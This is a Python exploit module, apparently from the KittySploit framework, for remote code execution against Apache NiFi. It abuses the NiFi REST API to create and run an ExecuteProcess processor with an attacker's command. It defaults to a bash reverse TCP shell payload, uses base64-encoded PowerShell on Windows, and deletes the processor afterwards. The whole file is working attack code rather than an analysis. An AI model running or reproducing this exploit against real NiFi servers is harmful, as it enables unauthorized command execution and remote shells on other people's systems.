Apache NiFi ExecuteProcess RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache NiFi unauthenticated ExecuteProcess processor RCE."""

from __future__ import annotations

import base64
import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Apache NiFi ExecuteProcess RCE',
        'description': (
            'Abuses an unauthenticated (or credentialed) Apache NiFi REST API to '
            'create an ExecuteProcess processor in the root process group, run an '
            'OS command, then stop and delete the processor. Requires ExecuteProcess '
            'to be available on the target.'
        ),
        'author': ['Graeme Robinson', 'KittySploit Team'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/latest/org.apache.nifi.processors.standard.ExecuteProcess/',
            'https://github.com/apache/nifi',
        ],
        'tags': [
            'nifi', 'apache', 'processor', 'executeprocess', 'rce', 'unauth', 'misconfig',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 6,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['nifi', 'apache'],
                'endpoint_pattern_any': ['/nifi-api/process-groups/root'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ExecuteProcess processor'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [
                    'scanner/http/apache_nifi_unauth_detect',
                    'scanner/http/apache_nifi_rce_detect',
                ],
            },
        },
    }

    port = OptPort(8080, 'NiFi HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    bearer_token = OptString('', 'Bearer token (if login required)', False, advanced=True)
    username = OptString('', 'Username when login is required', False, advanced=True)
    password = OptString('', 'Password when login is required', False, advanced=True)
    cleanup = OptBool(True, 'Stop and delete processor after exploit', False, advanced=True)
    processor_delay = OptInteger(
        5,
        'Seconds to wait before stopping the processor',
        False,
        advanced=True,
    )
    shell = OptChoice(
        'unix',
        'Command wrapper for ExecuteProcess',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _EXECUTE_PROCESS = 'org.apache.nifi.processors.standard.ExecuteProcess'

    def _api(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _headers(self, token: str | None = None) -> dict:
        headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        tok = str(token or self.bearer_token or '').strip()
        if tok:
            headers['Authorization'] = f'Bearer {tok}'
        return headers

    def _json_request(self, method: str, path: str, body: dict | None = None, token: str | None = None):
        kwargs = {
            'method': method,
            'path': path,
            'headers': self._headers(token),
            'allow_redirects': False,
        }
        if body is not None:
            kwargs['data'] = json.dumps(body)
        return self.http_request(**kwargs)

    def _supports_login(self) -> bool | None:
        r = self.http_request(
            method='GET',
            path=self._api('nifi-api', 'access', 'config'),
            allow_redirects=False,
        )
        if not r:
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        return bool(data.get('supportsLogin'))

    def _login_token(self) -> str | None:
        manual = str(self.bearer_token or '').strip()
        if manual:
            return manual
        user = str(self.username or '').strip()
        pwd = str(self.password or '').strip()
        if not user or not pwd:
            return None
        r = self.http_request(
            method='POST',
            path=self._api('nifi-api', 'access', 'token'),
            data={'username': user, 'password': pwd},
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 201:
            return None
        return (r.text or '').strip() or None

    def _root_process_group(self, token: str | None) -> str | None:
        for path in (
            self._api('nifi-api', 'flow', 'process-groups', 'root'),
            self._api('nifi-api', 'process-groups', 'root'),
        ):
            r = self.http_request(
                method='GET',
                path=path,
                headers=self._headers(token),
                allow_redirects=False,
            )
            if not r or int(r.status_code or 0) != 200:
                continue
            data, _err = parse_json_response(r)
            if not isinstance(data, dict):
                continue
            comp = data.get('processGroupFlow', {}).get('component') or data.get('component') or {}
            pg_id = comp.get('id')
            if pg_id:
                return str(pg_id)
        return None

    def _create_processor(self, token: str | None, group_id: str) -> tuple[str, int] | None:
        body = {
            'revision': {'version': 0},
            'component': {
                'type': self._EXECUTE_PROCESS,
                'position': {'x': 400, 'y': 200},
            },
        }
        r = self._json_request(
            'POST',
            self._api('nifi-api', 'process-groups', group_id, 'processors'),
            body,
            token,
        )
        if not r or int(r.status_code or 0) not in (200, 201):
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        proc_id = (data.get('component') or {}).get('id')
        version = (data.get('revision') or {}).get('version', 1)
        if not proc_id:
            return None
        return str(proc_id), int(version)

    def _build_command(self, payload_cmd: str) -> tuple[str, str]:
        wrapper = str(self.shell or 'unix').strip().lower()
        if wrapper == 'windows':
            enc = base64.b64encode(f'cmd /C --% {payload_cmd}'.encode('utf-16le')).decode()
            return 'powershell.exe', f'-e {enc}'
        return 'bash', f'-c "{payload_cmd}"'

    def _run_processor(
        self, token: str | None, proc_id: str, version: int, command: str, arguments: str,
    ) -> bool:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {
                'id': proc_id,
                'state': 'RUNNING',
                'config': {
                    'properties': {
                        'Command': command,
                        'Command Arguments': arguments,
                    },
                    'schedulingPeriod': '3600 sec',
                    'autoTerminatedRelationships': ['success'],
                },
            },
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        return bool(r and int(r.status_code or 0) == 200)

    def _stop_processor(self, token: str | None, proc_id: str, version: int) -> int:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {'id': proc_id, 'state': 'STOPPED'},
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        if r and int(r.status_code or 0) == 200:
            data, _ = parse_json_response(r)
            if isinstance(data, dict):
                return int((data.get('revision') or {}).get('version', version + 1))
        return version + 1

    def _delete_processor(self, token: str | None, proc_id: str, version: int) -> None:
        self.http_request(
            method='DELETE',
            path=self._api('nifi-api', 'processors', proc_id),
            headers=self._headers(token),
            params={'version': str(version)},
            allow_redirects=False,
        )

    def check(self):
        login_required = self._supports_login()
        if login_required is None:
            return {'vulnerable': False, 'reason': 'NiFi API unreachable', 'confidence': 'low'}
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                return {
                    'vulnerable': False,
                    'reason': 'NiFi requires login but no valid credentials/token supplied',
                    'confidence': 'medium',
                }
        group = self._root_process_group(token)
        if not group:
            return {
                'vulnerable': False,
                'reason': 'Root process group not accessible',
                'confidence': 'medium',
            }
        return {
            'vulnerable': True,
            'reason': 'NiFi API allows process group access (ExecuteProcess may be available)',
            'confidence': 'medium' if login_required else 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('Apache NiFi ExecuteProcess RCE')
        login_required = self._supports_login()
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                print_error('Authentication required — set bearer_token or username/password')
                return False
            print_info('Authenticated to NiFi API')
        else:
            print_info('NiFi API does not require login')

        group_id = self._root_process_group(token)
        if not group_id:
            print_error('Could not read root process group')
            self.not_vulnerable()
            return False

        created = self._create_processor(token, group_id)
        if not created:
            print_error('Failed to create ExecuteProcess processor')
            self.not_vulnerable()
            return False
        proc_id, version = created
        print_success(f'Created processor {proc_id}')

        command, arguments = self._build_command(payload_cmd)
        try:
            if not self._run_processor(token, proc_id, version, command, arguments):
                print_error('Failed to start processor with payload')
                return False
            print_success('Processor started — check listener for session')
            delay = max(int(self.processor_delay or 5), 2)
            print_status(f'Waiting {delay}s for command execution...')
            time.sleep(delay)
            self.vulnerable()
            return True
        finally:
            if bool(self.cleanup):
                stop_ver = self._stop_processor(token, proc_id, version + 1)
                self._delete_processor(token, proc_id, stop_ver)
                print_info('Processor stopped and deleted')